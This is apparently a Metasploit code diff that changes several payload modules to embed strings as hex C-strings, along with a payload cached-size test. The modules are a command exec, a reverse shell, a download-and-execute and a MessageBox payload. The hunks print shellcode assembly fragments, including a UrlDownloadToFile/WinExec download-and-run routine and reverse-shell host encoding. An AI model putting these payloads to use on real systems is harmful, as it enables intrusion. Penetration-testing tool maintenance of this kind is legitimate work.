@@ -143,7 +149,7 @@ module MetasploitModule
mov ebx, esp
push edx
call continue
db "#{cmd}", 0x00
db #{cmd_cstring}
continue:
push edi
push ebx
@@ -34,6 +34,7 @@ module MetasploitModule
def generate(_opts = {})
fd = datastore['FD']
path = Rex::Text.to_hex_cstring(datastore['PATH'] || '')
payload_data = <<-EOS
jmp file
@@ -65,7 +66,7 @@ module MetasploitModule
file:
call open
db "#{datastore['PATH']}", 0x00
db #{path}
EOS
Metasm::Shellcode.assemble(Metasm::Ia32.new, payload_data).encode_string
@@ -4,7 +4,7 @@
##
module MetasploitModule
CachedSize = 128
CachedSize = 127
include Msf::Payload::Single
include Msf::Payload::Osx
@@ -43,7 +43,7 @@ module MetasploitModule
raise ArgumentError, 'LHOST must be in IPv4 format.'
end
cmd = (datastore['CMD'] || '') + "\x00"
cmd = Rex::Text.to_hex_cstring(datastore['CMD'] || '')
encoded_port = [datastore['LPORT'].to_i, 2].pack('vn').unpack1('N')
encoded_host = Rex::Socket.addr_aton(lhost).unpack1('V')
encoded_host_port = format('0x%<encoded_host>.8x%<encoded_port>.8x', { encoded_host: encoded_host, encoded_port: encoded_port })
@@ -80,7 +80,7 @@ module MetasploitModule
xor rax,rax
mov eax,0x200003b
call load_cmd
db "#{cmd}", 0x00
db #{cmd}
load_cmd:
pop rdi
xor rdx,rdx
@@ -124,6 +124,10 @@ module MetasploitModule
# get protocol specific stuff
server_uri = Rex::Text.to_hex_cstring(server_uri)
filename = Rex::Text.to_hex_cstring(filename)
server_host = Rex::Text.to_hex_cstring(server_host)
# create actual payload
payload_data = %^
cld
@@ -222,7 +226,7 @@ module MetasploitModule
call httpopenrequest
server_uri:
db "#{server_uri}", 0x00
db #{server_uri}
create_file:
jmp.i8 get_filename
@@ -293,13 +297,13 @@ module MetasploitModule
get_filename:
call get_filename_return
db "#{filename}",0x00
db #{filename}
get_server_host:
call internetconnect
server_host:
db "#{server_host}", 0x00
db #{server_host}
end:
^
self.assembly = payload_data
@@ -40,6 +40,8 @@ module MetasploitModule
# Construct the payload
#
def generate(_opts = {})
title = Rex::Text.to_hex_cstring(datastore['TITLE'] || '')
text = Rex::Text.to_hex_cstring(datastore['TEXT'] || '')
style = 0x00
case datastore['ICON'].upcase.strip
# default = NO
@@ -89,10 +91,10 @@ module MetasploitModule
call ebp
push #{style}
call get_title
db "#{datastore['TITLE']}", 0x00
db #{title}
get_title:
call get_text
db "#{datastore['TEXT']}", 0x00
db #{text}
get_text:
push 0
push #{block_api_hash('user32.dll', 'MessageBoxA')}
@@ -40,6 +40,10 @@ module MetasploitModule
url = datastore['URL'] || 'http://localhost/hi.exe'
file = datastore['FILEPATH'] || 'fox.exe'
display = datastore['DISPLAY'] || 'HIDE'
url_length = url.bytesize
file_length = file.bytesize
url = Rex::Text.to_hex_cstring(url, nullbyte: false)
file = Rex::Text.to_hex_cstring(file, nullbyte: false)
payload = %^
cld
@@ -61,17 +65,17 @@ module MetasploitModule
SetUrl:
call SetFile
db "#{url}A"
db #{url}, 0x41
SetFile:
pop rdx ; 2nd argument
xor byte [rdx+#{url.length}], 'A' ; null terminator
xor byte [rdx+#{url_length}], 'A' ; null terminator
call UrlDownloadToFile
db "#{file}C"
db #{file}, 0x43
UrlDownloadToFile:
pop r8 ; 3rd argument
xor byte [r8+#{file.length}], 'C' ; null terminator
xor byte [r8+#{file_length}], 'C' ; null terminator
xor rcx,rcx ; 1st argument
xor r9,r9 ; 4th argument
sub rsp, 8
@@ -81,11 +85,11 @@ module MetasploitModule
SetCommand:
call Exec
db "cmd /c #{file}F"
db "cmd /c ", #{file}, 0x46
Exec:
pop rcx ; 1st argument
xor byte [rcx+#{file.length + 7}], 'F' ; null terminator
xor byte [rcx+#{file_length + 7}], 'F' ; null terminator
mov r10d, #{block_api_hash('kernel32.dll', 'WinExec')}
xor rdx, rdx ; 2nd argument
^
@@ -36,6 +36,8 @@ module MetasploitModule
end
def generate(_opts = {})
title = Rex::Text.to_hex_cstring(datastore['TITLE'] || '')
text = Rex::Text.to_hex_cstring(datastore['TEXT'] || '')
style = 0x00
case datastore['ICON'].upcase.strip
# default = NO
@@ -88,11 +90,11 @@ module MetasploitModule
call rbp
mov r9, #{style}
call get_text
db "#{datastore['TEXT']}", 0x00
db #{text}
get_text:
pop rdx
call get_title
db "#{datastore['TITLE']}", 0x00
db #{title}
get_title:
pop r8
xor rcx,rcx
@@ -99,18 +99,23 @@ RSpec.shared_examples_for 'payload cached size is consistent' do |options|
end
end
it 'can be instantiated' do
load_and_create_module(
it 'can be instantiated and generated' do
pinst = load_and_create_module(
ancestor_reference_names: ancestor_reference_names,
module_type: module_type,
modules_path: modules_path,
reference_name: reference_name
)
next if reference_name =~ /generic/
generated_size = ::Msf::Util::PayloadCachedSize.compute_cached_size(framework, pinst, generation_count: 1)
expect(generated_size).to eq(':dynamic').or be_a(::Integer)
end
next if reference_name =~ /generic|peinject/
it 'has a valid cached_size', skip: 'Migrated to Jenkins' do
it 'has a valid cached_size' do
pinst = load_and_create_module(
ancestor_reference_names: ancestor_reference_names,
module_type: module_type,
@@ -118,8 +123,7 @@ RSpec.shared_examples_for 'payload cached size is consistent' do |options|
reference_name: reference_name
)
cache_size_errors = Msf::Util::PayloadCachedSize.cache_size_errors_for(framework, pinst)
expect(cache_size_errors).to be_nil
expect(pinst.cached_size).to eq(:dynamic).or be_a(::Integer).or be_nil
end
end
end